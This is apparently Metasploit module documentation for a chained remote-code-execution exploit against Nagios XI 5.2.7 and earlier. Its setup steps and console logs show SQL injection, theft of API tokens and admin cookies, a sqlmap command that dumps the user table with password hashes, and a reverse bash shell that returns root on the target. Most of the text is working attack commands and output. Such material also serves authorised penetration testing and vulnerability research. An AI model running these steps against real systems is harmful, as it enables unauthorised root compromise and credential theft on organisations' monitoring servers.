## Introduction

Nagios XI is the enterprise version of Nagios, the monitoring software we love
and hate.

> This module exploits an SQL injection, auth bypass, file upload, command
injection, and privilege escalation in Nagios XI <= 5.2.7 to pop a root shell.

## Setup

**Download the virtual appliance:**

I used the 64-bit OVA [here]. Remove the "-64" in the link to download the
32-bit OVA.

[here]: https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.2.7-64.ova

**Import the OVA:**

Just import it into VMware or VirtualBox. It should create a VM for you.

**Configure the software:**

When you start the VM, you will see ```Access Nagios XI at http://[redacted]```
on the login screen. Connect to the URL using your web browser and follow the
steps on the screen to configure the app.

Configuration is actually not required to exploit the app, but you should do it
anyway.

## Options

### USER_ID

  If you wish to exploit a particular ```USER_ID```, that can be specified here.  Default is 1, which is most likely the admin account.
  
### API_TOKEN
  
  The SQLi included only works for MySQL, which should work in most cases.  However, if you experience a different backend, you can enumerate the user
  table via sqlmap: ```sqlmap -u "http://[ip]/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=resolve&host=a&service=" -p service -T xi_users --dump```.
  Then you can set the ```USER_ID``` and ```API_TOKEN``` to skip those phases and move on to exploitation.  Default is empty.  See example below for more usage.

## Usage

### Typical Usage

Just set ```RHOST``` and fire off the module! It's pretty much painless.
```set VERBOSE true``` if you want to see details.

```
msf > use exploit/linux/http/nagios_xi_chained_rce 
msf exploit(nagios_xi_chained_rce) > set rhost [redacted]
rhost => [redacted]
msf exploit(nagios_xi_chained_rce) > set verbose true
verbose => true
msf exploit(nagios_xi_chained_rce) > run

[*] Started reverse TCP handler on [redacted]:4444 
[*] Nagios XI version: 5.2.7
[*] Getting API token
[+] API token: 3o2erpm0
[*] Getting admin cookie
[+] Admin cookie: nagiosxi=jcilcfptj7ogpvovgs3i5gilh7;
[+] CSRF token: 477abd7db8d06ade9c7fcd9e405fd911
[*] Getting monitored host
[+] Monitored host: localhost
[*] Downloading component
[*] Uploading root shell
[*] Popping shell!
[*] Command shell session 1 opened ([redacted]:4444 -> [redacted]:60132) at 2016-07-01 00:12:20 -0500
[*] Cleaning up...
[*] rm -rf ../profile
[*] unzip -qd .. ../../../../tmp/component-profile.zip
[*] chown -R nagios:nagios ../profile
[*] rm -f ../../../../tmp/component-xAmhUGRn.zip

3904334783
TwMSxKhKEaxUjlTSNYyeICVUuPSNkwoI
cKKdfdZxRpDduZCezKXOficrVyNeVggH
mRVdstQmfdtnFiYMjLgyfvRWXyQZPyUF
dDlRoqhBvqvwrhKYWumimyKxVHSbrkoE
wjCWBTgbsQuPemhiByeMpMEhdPooHEvw
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
uname -a
Linux localhost.localdomain 2.6.32-573.22.1.el6.x86_64 #1 SMP Wed Mar 23 03:35:39 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
```

### Emulating a different DB

#### First we'll attempt the exploit and see what happens.

```
msf exploit(nagios_xi_chained_rce) > show options

Module options (exploit/linux/http/nagios_xi_chained_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   API_TOKEN                   no        If an API token was already stolen, skip the SQLi
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      192.168.2.218    yes       The target address
   RPORT      80               yes       The target port
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   USER_ID    1                yes       User ID in the database to target
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.117    yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Nagios XI <= 5.2.7


msf exploit(nagios_xi_chained_rce) > exploit

[*] Started reverse TCP handler on 192.168.2.117:4444 
[*] Nagios XI version: 5.2.7
[*] Getting API token
[+] 0 incidents resolved in Nagios IM

[-] Exploit aborted due to failure: unexpected-reply: API token not found! punt!
[*] Exploit completed, but no session was created.
```

#### Now lets try using sqlmap to enumerate the user table.

```
root@k:~# sqlmap -u "http://192.168.2.218/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=resolve&host=a&service=" -p service -T xi_users --dump
...snip...
Database: nagiosxi
Table: xi_users
[2 entries]
+---------+----------------------+-------------------+---------+-------------+----------------------------------+------------------------------------------------------------------+
| user_id | name                 | email             | enabled | username    | password                         | backend_ticket                                                   |
+---------+----------------------+-------------------+---------+-------------+----------------------------------+------------------------------------------------------------------+
| 2       | admin2               | admin2@admin2.com | 1       | admin2      | c84258e9c39059a89ab77d846ddab909 | 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g |
+---------+----------------------+-------------------+---------+-------------+----------------------------------+------------------------------------------------------------------+

...snip...
```

#### Re-target
Now, we can set the ```USER_ID``` and ```API_TOKEN``` (backend_ticket)

```
msf exploit(nagios_xi_chained_rce) > set USER_ID 2
USER_ID => 2
msf exploit(nagios_xi_chained_rce) > set API_TOKEN 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
API_TOKEN => 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
msf exploit(nagios_xi_chained_rce) > exploit

[*] Started reverse TCP handler on 192.168.2.117:4444 
[*] Nagios XI version: 5.2.7
[*] Getting admin cookie
[+] Admin cookie: nagiosxi=rjs4f9k4299v78hpgq3374q6j6;
[+] CSRF token: c53d1f591264a3ea771639a7782627f8
[*] Getting monitored host
[+] Monitored host: localhost
[*] Downloading component
[*] Uploading root shell
[*] Popping shell!
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.218:51032) at 2016-10-10 10:15:08 -0400
[*] Cleaning up...
[*] rm -rf ../profile
[*] unzip -qd .. ../../../../tmp/component-profile.zip
[*] chown -R nagios:nagios ../profile
[*] rm -f ../../../../tmp/component-ZEaGkiTW.zip

1138255764
NXEqynCVIfLzvpjUkqOovFvuLgsUrtpo
CKorOSWlTQEkRoiwCiBqTgylyLQjuWxU
oIGZxLofAStLsgsMNaGnQzzMuBYpJUQs
fkUlWzVvhurgAATtxKhLSBFCxQaZqjtR
QajRDDToeigHGMFdUbaClxkLfJbxqBKv
whoami
root
```
